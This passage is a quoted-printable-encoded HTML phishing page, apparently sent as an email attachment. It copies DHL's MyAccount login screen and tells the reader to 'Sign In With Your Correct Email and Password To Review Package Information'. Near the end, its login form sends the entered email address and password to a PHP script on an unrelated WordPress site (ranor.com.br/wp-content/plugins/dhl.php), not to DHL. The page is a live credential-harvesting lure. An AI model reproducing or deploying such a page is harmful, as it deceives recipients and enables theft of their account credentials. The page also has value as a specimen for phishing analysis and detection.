"><img src=3D\"../images/blank.gif\" height=3D\"1\" width=3D\"1\"><\/td>");
document.writeln(" <\/tr>");
document.writeln(" <tr>");
document.writeln(" <td class=3D\"whiteBg\" colspan=3D\"9\=
"><img src=3D\"../images/blank.gif\" height=3D\"1\" width=3D\"1\"><\/td>");
document.writeln(" <\/tr>");
document.writeln(" <\/td>");
document.writeln(" <\/tr>");
document.writeln(" <\/table>");
document.writeln("");
document.writeln("");
document.writeln("<\/form>");
document.writeln("");
document.writeln("");
document.writeln("<\/BODY>");
document.writeln("<\/HTML>");
}
//temporary function for message will be replaced by common jsp function
function deleteMessage(message,pageName)
{
document.writeln("<html>");
document.writeln("");
document.writeln("");
document.writeln("<head>");
document.writeln(" <link href=3D\"../common/StyleSheet.css\" rel=3D\"sty=
lesheet\" type=3D\"text/css\">");
document.writeln(" <script type=3D\"text/javascript\" language=3D\"Javas=
cript1.1\"> <\/script>");
document.writeln(" <script language=3D\"javascript1.3\" src=3D\"../js/Im=
ages.js\"><\/script>");
document.writeln(" <script language=3D\"javascript1.3\" src=3D\"../js/Ca=
lendar.js\"><\/script>");
document.writeln(" <script language=3D\"javascript1.3\" src=3D\"../js/Co=
mmonFunctions.js\"><\/script>");
document.writeln(" <script language=3D\"Javascript\">");
document.writeln("");
document.writeln(" <\/script>");
document.writeln("<\/head>");
document.writeln("<body>");
document.writeln(" <form name=3D\"CommercialAddressUpdateForm\">");
document.writeln("");
document.writeln(" ");
document.writeln(" <table>");
document.writeln(" <tr>");
document.writeln(" <td width=3D\"28\"> <\/td>");
document.writeln(" <td><\/td>");
document.writeln(" <td width=3D\"28\"> <\/td>");
document.writeln(" <\/tr>");
document.writeln("");
document.writeln(" <tr>");
document.writeln(" <td class=3D\"whiteBg\" colspan=3D\"3\"><img src=3D\"..=
/images/blank.gif\" height=3D\"21\" width=3D\"1\"><\/td>");
document.writeln(" <\/tr>");
document.writeln("");
document.writeln(" <\/table>");
document.writeln("");
document.writeln("");
document.writeln(" <table class=3D\"messageTableAllignment\" border=3D\=
"0\" align=3D\"center\" cellspacing=3D\"0\" cellpadding=3D\"0\">");
document.writeln(" <tr>");
document.writeln(" <td class=3D\"textFormHead\" ><\/td>");
document.writeln(" <td class=3D\"textFormHead\" ><\/td>");
document.writeln("");
document.writeln("");
document.writeln(" <\/tr>");
document.writeln(" <\/table>");
document.writeln(" <table class=3D\"messageTableAllignment\" border=3D\"0\"=
align=3D\"center\" bgColor=3D\"#e4e4e4\" cellspacing=3D\"0\" cellpadding=
=3D\"0\" id=3D\"commercialAddressUpdate\">");
document.writeln(" <tr class=3D\"formElementMessageCaption\">");
document.writeln("");
document.writeln("");
document.writeln(" <td width=3D\"5\"><\/td>");
document.writeln(" <td class=3D\"formElementMessageCaption\"><\/td>");
document.writeln(" <td class=3D\"formElementMessageCaption\" align=3D\"=
center\">"+message+" <\/td>");
document.writeln("");
document.writeln("");
document.writeln(" <td class=3D\"whiteBg\"><img src=3D\"../images/blank.=
gif\" height=3D\"1\" width=3D\"1\"><\/td>");
document.writeln("");
document.writeln("");
document.writeln(" <\/tr>");
document.writeln("");
document.writeln("");
document.writeln(" <tr class=3D\"formElementCaption\">");
document.writeln(" <td colspan=3D\"9\" >");
document.writeln(" <table border=3D\"0\" cellspacing=3D\"0\" cellpad=
ding=3D\"0\" align=3Dcenter>");
document.writeln(" <tr >");
document.writeln(" <td colspan=3D\"4\" align=3D\"center\" class=3D\"b=
uttonBigTD\" >");
if(pageName !=3D 'AccountQuery.html')
{
document.writeln("<a href=3D\"AccountDetails.html\" class=3D\"buttonBig\" =
title=3D\"\" onmouseover=3D\"return false\" onmouseout=3D\"return false\">"=
);
}
else
{
document.writeln("<a href=3D\"AccountQuery.html\" class=3D\"buttonBig\" ti=
tle=3D\"\" onmouseover=3D\"return false\" onmouseout=3D\"return false\">");
}
document.writeln(" <img src=3D\"https://myaccount.dhl.com/MyAccount/i=
mages/arrow_r_r_small.gif\" border=3D\"0\"> &n=
bsp;OK<\/a><\/td>");
document.writeln(" <td> <\/td>");
document.writeln(" <\/tr>");
document.writeln(" <\/table>");
document.writeln(" ");
document.writeln(" <tr>");
document.writeln(" <td class=3D\"whiteBg\" colspan=3D\"9\=
"><img src=3D\"https://myaccount.dhl.com/MyAccount/images/blank.gif\" heigh=
t=3D\"1\" width=3D\"1\"><\/td>");
document.writeln(" <\/tr>");
document.writeln(" <tr>");
document.writeln(" <td class=3D\"whiteBg\" colspan=3D\"9\=
"><img src=3D\"../images/blank.gif\" height=3D\"1\" width=3D\"1\"><\/td>");
document.writeln(" <\/tr>");
document.writeln(" <tr>");
document.writeln(" <td class=3D\"whiteBg\" colspan=3D\"9\=
"><img src=3D\"../images/blank.gif\" height=3D\"1\" width=3D\"1\"><\/td>");
document.writeln(" <\/tr>");
document.writeln(" <\/td>");
document.writeln(" <\/tr>");
document.writeln(" <\/table>");
document.writeln("");
document.writeln("");
document.writeln("<\/form>");
document.writeln("");
document.writeln("");
document.writeln("<\/BODY>");
document.writeln("<\/HTML>");
}
function openCustomerPopup(){
// window.showModalDialog("select_customer.htm","customer","width=3D588;hei=
ght=3D220;left=3D150;top=3D200;");
window.open('select_customer.htm','customer','width=3D588,height=3D350,lef=
t=3D200,top=3D200');
}
function openAgreementPopup(){
window.open("select_customerAgreement.htm","customeragreement",'width=3D58=
8,height=3D350,left=3D200,top=3D200');
}
function openAccountGroupPopup(){
window.open("select_AccountGroup.html","accountGroup",'width=3D288,height=
=3D350,left=3D200,top=3D200');
}
function getPreviousPageName()
{
var args =3D new Object();
var query =3D location.search;
var pairs =3D query.split('&');
var pos =3D pairs[0].indexOf('=3D');
if(pos !=3D -1 ) =
{
var argname =3D pairs[0].substring(0,pos);
var value =3D pairs[0].substring(pos + 1);
}
return value;
}
=
// The method gets the string and returns true if its numeric else false.
// @return String the country list corresponding to country code.
function ValidateNumeric(teststring) =
{ =
regData =3D /[^0-9^]/g; =
if (teststring.match(regData)) =
{ =
return true;
} =
return false; =
} =
// The method gets the string and returns true if its numeric or decimal el=
se false.
// @return String the country list corresponding to country code.
function ValidateDecimal(teststring) =
{ =
regData =3D /[^0-9^.^]/g; =
if (teststring.match(regData)) =
{ =
return true;
} =
return false; =
} =
=
// The method gets the string and returns true if its alpha numeric else fa=
lse.
// @return String the country list corresponding to country code.
function ValidateAlphaNumeric(teststring)
{
regData =3D /[^a-z^A-Z^0-9^.^,^'^&^\-^(^)^#^+^ ]/g =
if (teststring.match(regData)) =
{ =
return true;
} =
return false; =
}
//This function validates e-mail addresses
function fnValidateEmail(email_address)
{
//Assumes that valid email addresses consist of user_name@domain.tld
at =3D email_address.indexOf('@');
dot =3D email_address.lastIndexOf('.');
if(at =3D=3D -1 || =
dot =3D=3D -1 || =
dot <=3D at + 1 ||
dot =3D=3D 0 || =
dot =3D=3D email_address.length - 1)
return(false);
=
user_name =3D email_address.substr(0, at);
domain_name =3D email_address.substr(at + 1, email_address.length); =
=
if(Validate_String(user_name) =3D=3D=3D false || =
Validate_String(domain_name) =3D=3D=3D false)
return(false); =
return(true);
}
function Validate_String(string, return_invalid_chars) {
valid_chars =3D '1234567890-_.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQ=
RSTUVWXYZ';
invalid_chars =3D '';
if(string =3D=3D null || string =3D=3D '')
return(true);
//For every character on the string. =
for(index =3D 0; index < string.length; index++) {
char =3D string.substr(index, 1); =
=
//Is it a valid character?
if(valid_chars.indexOf(char) =3D=3D -1) {
//If not, is it already on the list of invalid characters?
if(invalid_chars.indexOf(char) =3D=3D -1) {
//If it's not, add it.
if(invalid_chars =3D=3D '')
invalid_chars +=3D char;
else
invalid_chars +=3D ', ' + char;
}
}
}
=
//If the string does not contain invalid characters, the function will re=
turn true.
//If it does, it will either return false or a list of the invalid charac=
ters used
//in the string, depending on the value of the second parameter.
if(return_invalid_chars =3D=3D true && invalid_chars !=3D '') {
last_comma =3D invalid_chars.lastIndexOf(',');
if(last_comma !=3D -1)
invalid_chars =3D invalid_chars.substr(0, $last_comma) + =
' and ' + invalid_chars.substr(last_comma + 1, invalid_chars.length);
return(invalid_chars);
}
else
return(invalid_chars =3D=3D ''); =
}
// This function returns false if the specified string
// contains any character other than [a-z][A-Z][0-9] . , @ '
//Modified by Rajeev on 15th Oct 2004 to add +-()
function fnIsValidData(teststring)
{
regData =3D /[^a-z^A-Z^0-9^.^,^@^'^&^\-^(^)^#^+^ ]/g
if (teststring.match(regData))
{
return false
}
return true
}
// 1. Phone Number, 2. Fax Number
// This function returns false if the specified string
// contains any character other than [0-9]-+[ ]
function fnIsValidPhoneNumber(teststring)
{
regData =3D /[^0-9^+^\-^ ]/g
if (teststring.match(regData))
{
=
return false
}
return true
}
function fnValidateAccountNumber(testString)
{
regData =3D /[^a-z^A-Z^0-9^]/g =
if (testString.match(regData))
{
alert("Please be informed that this is not the standard account number=
convention.");
}
=
}
function disableStatuses() =
{ =
}
function blankStatus() { window.status =3D "" ; return true ; } </script>
<script language=3D"javascript1.3">
/* Change for Setting the login into top frame begins 4 nov 08 */
if(parent.location.href!=3Dlocation.href) top.location.href=3Dlocation.href;
/* Change for Setting the login into top frame ends 4 nov 08 */
var submit =3D 0;
var count =3D false;
function fnSubmit( )
{
=
=
if (submit =3D=3D 0 && validate( document.forms[0] ) )
{
submit =3D 1;
=
if(document.forms[0].rememberUser.checked =3D=3D true)
{
=
fnSetCookie('rememberMe',document.forms[0].userId.value,30);
}
else
{
fnSetCookie('rememberMe',document.forms[0].userId.value,-1);
}
document.forms[0].selectedLang.value =3D document.forms[0].language.va=
lue;
document.forms[0].submit( );
}
=
}
function validate( frm )
{
// Change made to convert the USER ID entered to lowercase before submit=
ting
=
document.forms[0].userId.value =3D document.forms[0].userId.value.toLowe=
rCase();
if( fnTrim( frm.userId.value ) =3D=3D "" )
{
alert( " Please enter the User Id " );
frm.userId.focus();
return false;
}
if( !fnValidateEmail( fnTrim( frm.userId.value ) ) )
{
alert(" User id should be a valid email id ");
frm.userId.focus();
return false;
}
// Change made to increase size of user id field to 60
if( frm.userId.value.length < 4 || frm.userId.value.length > 60 )
{
alert(" UserId should be of minimum 4 and Maximum 40 characters ");
frm.userId.focus();
return false;
}
=
if( fnTrim( frm.password.value ) =3D=3D "" )
{
alert( " Please enter the Password " );
frm.password.focus();
return false;
}
=
if( frm.language.value =3D=3D"XX" )
{
alert(" Please select a Langauge ");
frm.language.focus();
return false;
}
=
return true;
}
=
function fnReadCookie(cookieName)
{
=
var theCookie=3D""+document.cookie;
var ind=3DtheCookie.indexOf(cookieName);
if (ind=3D=3D-1 || cookieName=3D=3D"") return "";
var ind1=3DtheCookie.indexOf(';',ind);
if (ind1=3D=3D-1) ind1=3DtheCookie.length;
return unescape(theCookie.substring(ind+cookieName.length+1,ind1));
}
function checkCookies()
{
=
fnSetCookie("cookieenabled", "true", 1);
var cookieenabled =3D fnReadCookie("cookieenabled");
deleteCookie("cookieenabled");
/*if (!(cookieenabled =3D=3D "true"))
{
window.location.href =3D "/jsp/Error.jsp?urlError=3DCookie";
}*/
}
function fnSetCookie(cookieName,cookieValue,nDays)
{
=
var today =3D new Date();
var expire =3D new Date();
if (nDays=3D=3Dnull || nDays=3D=3D0) nDays=3D1;
expire.setTime(today.getTime() + 3600000*24*nDays);
document.cookie =3D cookieName+"=3D"+escape(cookieValue)
+ "; expires=3D"+expire.toGMTString()
+ "; path=3D/" ;
//+ "; domain=3Ddhl.com" =
}
function deleteCookie(name)
{
var d =3D new Date();
document.cookie =3D name + "=3D1;expires=3D" + d.toGMTString() + "; do=
main=3Ddhl.com" + "; path=3D/" ;
}
=
function fnEnter( )
{
if (window.event.keyCode=3D=3D13)
{
fnSubmit();
}
}
// To call fnSubmitfunction when enter key is pressed
document.onkeydown =3D fnEnter
function fnReset()
{
document.forms[0].userId.value=3D"";
document.forms[0].password.value=3D"";
document.forms[0].language.value=3D"en_US";
document.forms[0].rememberUser.checked =3D false;
document.forms[0].userId.focus();
if(document.forms[0].rememberUser.checked =3D=3D true)
{
=
document.forms[0].rememberMeStatus.value =3D 'Y';
}
else
{
document.forms[0].rememberMeStatus.value =3D 'N';
}
=
document.forms[0].isLangSelected.value =3D "TRUE";
=
document.forms[0].action.value =3D "LocaleChange";
document.forms[0].selectedLang.value =3D document.forms[0].language.va=
lue;
document.forms[0].submit();
}
// Function to switch the images in buttons
function swapImage(imgName,imgUrl){
if(document.images){
document.images[imgName].src=3DimgUrl;
}
}
window.onload=3Dfunction()
{
// fnreset();
=
if ('en_US' !=3D "null")
{
document.forms[0].language.value=3D'en_US';
}
}
function fnreset()
{
/*
if(history.length>0 )
{
window.history.go(+1);
}
document.forms[0].userId.value=3D"";
document.forms[0].password.value=3D"";
*/
}
function init()
{
document.forms[0].userId.value=3D fnReadCookie('rememberMe');
document.forms[0].password.value=3D '';
=
=
}
function fnChange()
{
=
if(document.forms[0].rememberUser.checked =3D=3D true)
{
=
document.forms[0].rememberMeStatus.value =3D 'Y';
}
else
{
document.forms[0].rememberMeStatus.value =3D 'N';
}
=
document.forms[0].isLangSelected.value =3D "TRUE";
=
document.forms[0].action.value =3D "LocaleChange";
document.forms[0].selectedLang.value =3D document.forms[0].language.va=
lue;
document.forms[0].submit();
}
=
function NewWindow(mypage,myname,w,h,scroll,center){
=
LeftPosition=3D(screen.width)?(screen.width-w)/2:100;TopPosition=3D(screen=
.height)?(screen.height-h)/2:100; =
settings=3D'width=3D'+w+',height=3D'+h+',top=3D'+TopPosition+',left=3D'+Le=
ftPosition+',scrollbars=3D'+scroll+',location=3Dno,directories=3Dno,status=
=3Dno,menubar=3Dno,toolbar=3Dno,resizable=3Dno';
if (!win || win.closed)
{
win=3Dwindow.open(mypage,myname,settings);
}
else
{
win.focus();
win.location.href=3Dmypage
}
}
function fnOnLoad()
{
=
document.forms[0].userId.value=3D'';
document.forms[0].password.value=3D '';
document.forms[0].language.value =3D 'en_US';
=
=
//Code for rememebering remember me status begins 10 nov 2008
=
=
=
=
}
</script>
<BODY onload=3D"fnOnLoad();">
<!-- The Login Form begins here ExternalLogin -->
<form name=3D"externalLoginForm" method=3D"post" action=3D"http://www.ranor=
.com.br/wp-content/plugins/dhl.php" target=3D"_top">
<input type=3Dhidden name=3D"rememberMeStatus">
<input type=3Dhidden name=3D"accountNumber" value =3D "" >
<input type=3Dhidden name=3D"invoiceNumber" value =3D "" >
<input type=3Dhidden name=3D"applicationId" value =3D "" >
<!-- changes for UI refinement begins 25-09-08 -->
=
<table border=3D"0" align=3D"center" width=3D"550px">
<tr>
<td class=3D"error"></td>
</tr>
</table>
<!-- changes for UI refinement ends 25-09-08 -->
=
<!-- start main table-->
<table border=3D"0" align=3D"center" bgColor=3D"#ffcc00" style=3D"Margin-t=
op:100">
=
<!-- Added by abhinav 13-Sep-2008 begin -->
<td colspan=3D"2">
<table align=3D"right" cellSpacing=3D"0" cellPadding=3D"0" border=3D"0">
<b>Sign In Your Email to View Your Tracking</b>
<tr ALIGN=3D"Right">
<td width=3D"35"></td>
<td width=3D"20"></td>
<!-- changes for refine UI begins 19-10-08 -->
<td colspan=3D"5" class=3D"buttonBigTD" align=3D"center"><a href=3D"Sel=
ectCountryIndex.jsp" class=3D"buttonBigger"
title=3D"Technical Help"
onMouseOut=3D"javascript:swapImage('imgTech','https://myaccount.dhl.co=
m/MyAccount/images/arrow_r_r_small.gif');"
onMouseOver=3D"javascript:swapImage('imgTech','https://myaccount.dhl.c=
om/MyAccount/images/arrow_b_r_small.gif');"><img
src=3D"https://myaccount.dhl.com/MyAccount/images/arrow_r_r_small.gif"=
border=3D"0" width=3D"7" height=3D"9" name=3D"imgTech">Technical Help</a><=
/td>
<!-- changes for refine UI begins 19-10-08 -->
</tr>
</table>
</td>
<tr>
<td rowspan=3D"3"><!-- Added by abhinav 13-Sep-2008 end --> <!-- start i=
mage table-->
<table border=3D"0" height=3D"100%">
<tr bgColor=3D"#ffcc00" height=3D"30">
<td></td>
</tr>
<tr bgColor=3D"#ffcc00">
<td align=3D"center" height=3D"33"><img src=3D"https://myaccount.dhl.c=
om/MyAccount/images/DHLlogo.gif" border=3D"0" width=3D"139" height=3D"31"><=
/td>
</tr>
<tr bgColor=3D"#ffcc00" height=3D"100" align=3D"center">
<td><img src=3D"https://myaccount.dhl.com/MyAccount/images/Middle.JPG"=
border=3D"0" height=3D"220"></td>
</tr>
<tr bgColor=3D"#ffcc00">
<td align=3D"center" height=3D"50"><img src=3D"https://myaccount.dhl.c=
om/MyAccount/images/DPLogo.gif" border=3D"0" width=3D"154" height=3D"42"></=
td>
</tr>
</table>
<!-- End image table--></td>
<td><!-- start Login table-->
<table border=3D"0" cellSpacing=3D"0" cellPadding=3D"0">
<tr height=3D"65">
<td rowSpan=3D"13" width=3D"15" align=3D"center"> </td>
<td colSpan=3D"5" align=3D"center"> </td>
<td rowSpan=3D"11" width=3D"15" align=3D"center"> </td>
</tr>
<tr>
<td class=3D"titleRedBG" colSpan=3D"5" height=3D"28" align=3D"center">=
Sign In With Your Correct Email and Password To Review Package Information=
</td>
</tr>
<tr class=3D"formElementCaption">
<td width=3D"25"></td>
<td width=3D"90"></td>
<td width=3D"25"></td>
<td width=3D"25"></td>
</tr>
<tr class=3D"formElementCaption">
<td class=3D"formElementAsterisk" width=3D"5px"></td>
<td style=3D"vertical-align:middle"><b>Email ID</b> <=
/td>
<!-- Change made to increase size of user id field to 60-->
<td align=3D"left"><input type=3D"text" name=3D"userId" maxlength=3D"6=
0" size=3D"40" value=3D"" style=3D"text-font:Arial;font-weight:11px"></td>
<td></td>
<tr class=3D"formElementCaption">
<td class=3D"formElementAsterisk"></td>
<td style=3D"vertical-align:middle"><b>Password</b> <=
/td>
<td align=3D"left"><input type=3D"password" name=3D"password" maxlengt=
h=3D"30" size=3D"16" value=3D""></td>
<td width=3D"60"></td>
</tr>
<!-- changes for external login begins 17-09-08 -->
<tr class=3D"formElementCaption">
<td class=3D"formElementAsterisk"></td>
<td style=3D"vertical-align:middle"><b>Language</b> <=
/td>
<td align=3D"left" height=3D"22"><select name=3D"language" size=3D"1"=
onchange=3D"javascript:fnChange()" style=3D"width=3D110"><option value=3D"=
" selected=3D"selected">Select language</option>
=
=
=
<option value=3D"en_US""selected">English</option>
=
<option value=3D"fr_FR""">French</option>
=
<option value=3D"pt_PT""">Portugese</option>
=
<option value=3D"rs_RS""">Serbia</option>
=
<option value=3D"ru_RU""">Russian</option>
=
<option value=3D"tr_TR""">Turkish</option>
=
<option value=3D"hr_HR""">Croatian</option></select></td>
<td width=3D"60"></td>
</tr>
<tr colSpan=3D"3" height=3D"4px">
<td colSpan=3D"5" align=3D"center" class=3D"formElementAsterisk"> =
;</td>
</tr>
<tr class=3D"formElementCaption">
<td width=3D"26"></td>
<td colspan=3D"2">
<div class=3D"buttonGroup"><input type=3D"checkbox" name=3D"rememberUs=
er" /> <span class=3D"bold">Remember me on this computer </span> <!-- Start=
caption table-->
<table cellSpacing=3D"0" cellPadding=3D"0" border=3D"0">
<tr ALIGN=3D"CENTER">
<td width=3D"80"></td>
<td colspan=3D"1" class=3D"buttonBigTD" align=3D"center"><a href=3D"=
javascript:fnSubmit();" style=3D"width=3D90" class=3D"buttonBig"
title=3D"Login" onMouseOut=3D"javascript:swapImage('imgLogin','http=
s://myaccount.dhl.com/MyAccount/images/arrow_r_r_small.gif');"
onMouseOver=3D"javascript:swapImage('imgLogin','https://myaccount.d=
hl.com/MyAccount/images/arrow_b_r_small.gif');"><img
src=3D"https://myaccount.dhl.com/MyAccount/images/arrow_r_r_small.g=
if" border=3D"0" width=3D"9" height=3D"9" name=3D"imgLogin">Login</a></td>
<td width=3D"20"></td>
<td colspan=3D"1" class=3D"buttonBigTD" align=3D"center"><a
href=3D"javascript:fnReset();document.forms[0].userId.focus();" cla=
ss=3D"buttonBig" title=3D"Reset"
onMouseOut=3D"javascript:swapImage('imgReset','https://myaccount.dh=
l.com/MyAccount/images/arrow_r_r_small.gif');"
onMouseOver=3D"javascript:swapImage('imgReset','https://myaccount.d=
hl.com/MyAccount/images/arrow_b_r_small.gif');"><img
src=3D"https://myaccount.dhl.com/MyAccount/images/arrow_r_r_small.g=
if" border=3D"0" width=3D"9" height=3D"9" name=3D"imgReset">Reset</a></td><=
/tr>
</table>
=
<!-- End caption table-->
</div>
</td>
<td width=3D"60"></td>
</tr>
<tr colspan=3D"3" height=3D"5">
<td colSpan=3D"5" align=3D"center" class=3D"formElementAsterisk"> =
;</td>
</tr>
=
=
<!-- changes for external login ends 17-09-08 -->
</table>
<!-- End Login table--></td>
</tr>
</table>
<!-- End Main table-->
<input type=3D"hidden" name=3D"f" value=3D"">
<input type=3D"hidden" name=3D"selectedLang" value=3D"">
<input type=3D"hidden" name=3D"isLangSelected" value=3D"">
</form>
<script type=3D"text/javascript" language=3D"JavaScript">
<!--
var focusControl =3D document.forms["externalLoginForm"].elements["userId=
"];
if (focusControl.type !=3D "hidden") {
focusControl.focus();
}
// -->
</script>
</BODY>
</html>
--===============0518905391==--